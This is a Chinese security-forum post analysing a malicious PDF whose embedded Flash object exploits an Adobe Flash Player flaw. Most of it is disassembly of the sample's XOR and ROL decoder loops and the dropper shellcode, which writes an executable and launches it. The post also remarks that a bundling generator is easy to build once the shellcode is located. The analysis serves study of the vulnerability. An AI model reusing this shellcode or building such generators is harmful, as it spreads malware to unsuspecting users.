最近一直比较忙，在论坛上看到NNpig兄弟发exploit已经有一周多了，今天早上才抽出点时间跟了一下，大体的了解了原理。里面也有好多问题没有空来深入研究了，先发出来供大家参考，或者哪个兄弟想详细探讨或者有什么疑问可以联系我共同研究。
下面从拿到一个POC或者exploit如何来进一步的研究漏洞原理的过程进行一个探讨，仅为个人习惯供参考。
1.依据文件格式，定位shellcode
一般情况下我们能拿到的可能就是poc或者一个捆绑了exe的exploit文件，如果想仔细分析下这个漏洞的原理或者想自己写一个生成器该如何下手呢？
当然作为后者来讲，就比较简单了一般情况下exploit文件里面的shellcode都是现成的，只需要自己定位出shellcode，分析一下shellcode运行的逻辑，就可以构造一个捆绑自己exe的exploit文件出来，当然这个时候写生成器已经是举手之劳了。这里我就不讨论这个套路了。
对于分析漏洞原理这里来讲前面说的就只能作为第一步了，下面我就讲讲我的定位exploit的shellcode位置的方法：
（1）观察：
一般有经验的样本分析者，可能利用ue等简单的16进制文本编辑器就可以用肉眼很快的定位出来shellcode的位置，当然，这个需要有丰富的经验，包括对文件二进制格式的研究等各个方面了。
因为这个是PDF的文件，前面我有文章讲解了下pdf文件的基本结构，通过基本的文件结构我们就可以看出来，这个pdf文件一共有20个OBJ，当然数据量比较大也最引人注目的就是第8个OBJ了，它是一个swf对象，即flash对象，那么基本上立刻就可以联想到今年7月份的Adobe flashplayer那个漏洞了，展示下漏洞公告：
00000F59: 33C9 XOR ECX,ECX
00000F5B: 66:B9 5901 MOV CX,159
00000F5F: 83C2 17 ADD EDX,17
00000F62: 8BFA MOV EDI,EDX
00000F64: 8BF7 MOV ESI,EDI
00000F66: 56 PUSH ESI
00000F67: AC LODS BYTE PTR [ESI]
00000F68: C0C0 04 ROL AL,4
00000F6B: AA STOS BYTE PTR ES:[EDI]
00000F6C: 49 DEC ECX
00000F6D: 75 F8 JNZ SHORT 00000F67
00000F6F: C3 RETN
00000F70: 55 PUSH EBP
00000F71: B8 CE38CEC5 MOV EAX,C5CE38CE
00000F76: 35 65757C54 XOR EAX,547C7565
00000F7B: 0F11 ???
00000F7D: 0000 ADD [EAX],AL
00000F7F: 009E 5E000000 ADD [ESI+5E],BL
00000F85: F8 CLC
00000F86: 54 PUSH ESP
00000F87: CF IRETD
00000F88: 46 INC ESI
00000F89: 1A03 SBB AL,[EBX]
00000F8B: 0000 ADD [EAX],AL
00000F8D: 00B8 04C0B807 ADD [EAX+7B8C004],BH
00000F93: C1DA B8 RCR EDX,B8
00000F96: 8580 98D5CEB8 TEST [EAX+B8CED598],EAX
00000F9C: D4 0F AAM F
06A50000 33C9 XOR ECX,ECX
06A50002 B9 BFA20300 MOV ECX,3A2BF
06A50007 8B75 F8 MOV ESI,DWORD PTR SS:[EBP-8]
06A5000A 83C6 19 ADD ESI,19
06A5000D 56 PUSH ESI
06A5000E 8A06 MOV AL,BYTE PTR DS:[ESI]
06A50010 32C1 XOR AL,CL
06A50012 8806 MOV BYTE PTR DS:[ESI],AL
06A50014 46 INC ESI
06A50015 49 DEC ECX
06A50016 ^ 75 F6 JNE SHORT 06A5000E
06A50018 C3 RETN
06A50019 55 PUSH EBP
06A5001A 8BEC MOV EBP,ESP
06A5001C 81EC AC020000 SUB ESP,2AC
06A50022 53 PUSH EBX
06A50023 56 PUSH ESI
06A50024 57 PUSH EDI
06A50025 8D85 F0FEFFFF LEA EAX,[EBP-110]
06A5002B 50 PUSH EAX
06A5002C 68 04010000 PUSH 104
06A50031 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+0C]
06A50034 FF51 20 CALL DWORD PTR DS:[ECX+20]
06A50037 8D95 ECFDFFFF LEA EDX,[EBP-214]
06A5003D 52 PUSH EDX
06A5003E 6A 00 PUSH 0
06A50040 6A 00 PUSH 0
06A50042 8D85 F0FEFFFF LEA EAX,[EBP-110]
06A50048 50 PUSH EAX
06A50049 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+0C]
06A5004C FF51 1C CALL DWORD PTR DS:[ECX+1C]
06A5004F 6A 00 PUSH 0
06A50051 68 80000000 PUSH 80
06A50056 6A 02 PUSH 2
06A50058 6A 00 PUSH 0
06A5005A 6A 00 PUSH 0
06A5005C 68 000000C0 PUSH C0000000
06A50061 8D95 ECFDFFFF LEA EDX,[EBP-214]
06A50067 52 PUSH EDX
06A50068 8B45 0C MOV EAX,DWORD PTR SS:[EBP+0C]
06A5006B FF50 04 CALL DWORD PTR DS:[EAX+4]
06A5006E 8945 F4 MOV DWORD PTR SS:[EBP-0C],EAX
06A50071 C785 E8FDFFFF 0 MOV DWORD PTR SS:[EBP-218],0
06A5007B 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+0C]
06A5007E 8B51 4C MOV EDX,DWORD PTR DS:[ECX+4C]
06A50081 8955 F8 MOV DWORD PTR SS:[EBP-8],EDX
06A50084 2B75 F8 SUB ESI,DWORD PTR SS:[EBP-8]
06A50087 8B45 0C MOV EAX,DWORD PTR SS:[EBP+0C]
06A5008A 8B48 48 MOV ECX,DWORD PTR DS:[EAX+48]
06A5008D 894D F8 MOV DWORD PTR SS:[EBP-8],ECX
06A50090 2B75 F8 SUB ESI,DWORD PTR SS:[EBP-8]
06A50093 8975 FC MOV DWORD PTR SS:[EBP-4],ESI
06A50096 6A 00 PUSH 0
06A50098 8D95 E8FDFFFF LEA EDX,[EBP-218]
06A5009E 52 PUSH EDX
06A5009F 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
06A500A2 50 PUSH EAX
06A500A3 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
06A500A6 51 PUSH ECX
06A500A7 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-0C]
06A500AA 52 PUSH EDX
06A500AB 8B45 0C MOV EAX,DWORD PTR SS:[EBP+0C]
06A500AE FF50 40 CALL DWORD PTR DS:[EAX+40]
06A500B1 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
06A500B4 034D F8 ADD ECX,DWORD PTR SS:[EBP-8]
06A500B7 894D FC MOV DWORD PTR SS:[EBP-4],ECX
06A500BA 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-0C]
06A500BD 52 PUSH EDX
06A500BE 8B45 0C MOV EAX,DWORD PTR SS:[EBP+0C]
06A500C1 FF10 CALL DWORD PTR DS:[EAX]
06A500C3 6A 05 PUSH 5
06A500C5 8D8D ECFDFFFF LEA ECX,[EBP-214]
06A500CB 51 PUSH ECX
06A500CC 8B55 0C MOV EDX,DWORD PTR SS:[EBP+0C]
06A500CF FF52 3C CALL DWORD PTR DS:[EDX+3C]
06A500D2 8B45 0C MOV EAX,DWORD PTR SS:[EBP+0C]
06A500D5 83C0 54 ADD EAX,54
06A500D8 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
06A500DB 8B75 F8 MOV ESI,DWORD PTR SS:[EBP-8]
06A500DE 8DBD F0FEFFFF LEA EDI,[EBP-110]
06A500E4 47 INC EDI
06A500E5 803F 00 CMP BYTE PTR DS:[EDI],0
06A500E8 ^ 75 FA JNE SHORT 06A500E4
06A500EA AC LODS BYTE PTR DS:[ESI]
06A500EB AA STOS BYTE PTR ES:[EDI]
06A500EC 3C 00 CMP AL,0
06A500EE ^ 75 FA JNE SHORT 06A500EA
06A500F0 6A 00 PUSH 0
06A500F2 68 80000000 PUSH 80
06A500F7 6A 02 PUSH 2
06A500F9 6A 00 PUSH 0
06A500FB 6A 00 PUSH 0
06A500FD 68 000000C0 PUSH C0000000
06A50102 8D8D F0FEFFFF LEA ECX,[EBP-110]
06A50108 51 PUSH ECX
06A50109 8B55 0C MOV EDX,DWORD PTR SS:[EBP+0C]
06A5010C FF52 04 CALL DWORD PTR DS:[EDX+4]
06A5010F 8945 F4 MOV DWORD PTR SS:[EBP-0C],EAX
06A50112 C785 E8FDFFFF 0 MOV DWORD PTR SS:[EBP-218],0
06A5011C 6A 00 PUSH 0
06A5011E 8D85 E8FDFFFF LEA EAX,[EBP-218]
06A50124 50 PUSH EAX
06A50125 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+0C]
06A50128 8B51 4C MOV EDX,DWORD PTR DS:[ECX+4C]
06A5012B 52 PUSH EDX
06A5012C 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
06A5012F 50 PUSH EAX
06A50130 8B4D F4 MOV ECX,DWORD PTR SS:[EBP-0C]
06A50133 51 PUSH ECX
06A50134 8B55 0C MOV EDX,DWORD PTR SS:[EBP+0C]
06A50137 FF52 40 CALL DWORD PTR DS:[EDX+40]
06A5013A 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-0C]
06A5013D 50 PUSH EAX
06A5013E 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+0C]
06A50141 FF11 CALL DWORD PTR DS:[ECX]
06A50143 68 04010000 PUSH 104
06A50148 8D95 ECFDFFFF LEA EDX,[EBP-214]
06A5014E 52 PUSH EDX
06A5014F 6A 00 PUSH 0
06A50151 8B45 0C MOV EAX,DWORD PTR SS:[EBP+0C]
06A50154 FF50 18 CALL DWORD PTR DS:[EAX+18]
06A50157 8DB5 F0FEFFFF LEA ESI,[EBP-110]
06A5015D 8DBD ECFDFFFF LEA EDI,[EBP-214]
06A50163 47 INC EDI
06A50164 803F 00 CMP BYTE PTR DS:[EDI],0
06A50167 ^ 75 FA JNE SHORT 06A50163
06A50169 C607 20 MOV BYTE PTR DS:[EDI],20
06A5016C 47 INC EDI
06A5016D C607 22 MOV BYTE PTR DS:[EDI],22
06A50170 47 INC EDI
06A50171 AC LODS BYTE PTR DS:[ESI]
06A50172 AA STOS BYTE PTR ES:[EDI]
06A50173 3C 00 CMP AL,0
06A50175 ^ 75 FA JNE SHORT 06A50171
06A50177 4F DEC EDI
06A50178 C607 22 MOV BYTE PTR DS:[EDI],22
06A5017B 47 INC EDI
06A5017C C607 00 MOV BYTE PTR DS:[EDI],0
06A5017F 8DBD A4FDFFFF LEA EDI,[EBP-25C]
06A50185 33C0 XOR EAX,EAX
06A50187 B9 11000000 MOV ECX,11
06A5018C F2:AB REPNE STOS DWORD PTR ES:[EDI]
06A5018E 8D8D 94FDFFFF LEA ECX,[EBP-26C]
06A50194 51 PUSH ECX
06A50195 8D95 A4FDFFFF LEA EDX,[EBP-25C]
06A5019B 52 PUSH EDX
06A5019C 6A 00 PUSH 0
06A5019E 6A 00 PUSH 0
06A501A0 6A 00 PUSH 0
06A501A2 6A 00 PUSH 0
06A501A4 6A 00 PUSH 0
06A501A6 6A 00 PUSH 0
06A501A8 8D85 ECFDFFFF LEA EAX,[EBP-214]
06A501AE 50 PUSH EAX
06A501AF 6A 00 PUSH 0
06A501B1 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+0C]
06A501B4 FF51 08 CALL DWORD PTR DS:[ECX+8]
06A501B7 8B55 0C MOV EDX,DWORD PTR SS:[EBP+0C]
06A501BA FF52 10 CALL DWORD PTR DS:[EDX+10]
06A501BD 8945 F4 MOV DWORD PTR SS:[EBP-0C],EAX
06A501C0 6A 00 PUSH 0
06A501C2 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-0C]
06A501C5 50 PUSH EAX
06A501C6 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+0C]
06A501C9 FF51 34 CALL DWORD PTR DS:[ECX+34]
CPU 堆栈
地址 数值 ASCII 注释
0012E290 302092AF 瘨 0 ; 返回《== 从 authplay.301E0ED1 到 authplay.302092AF
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
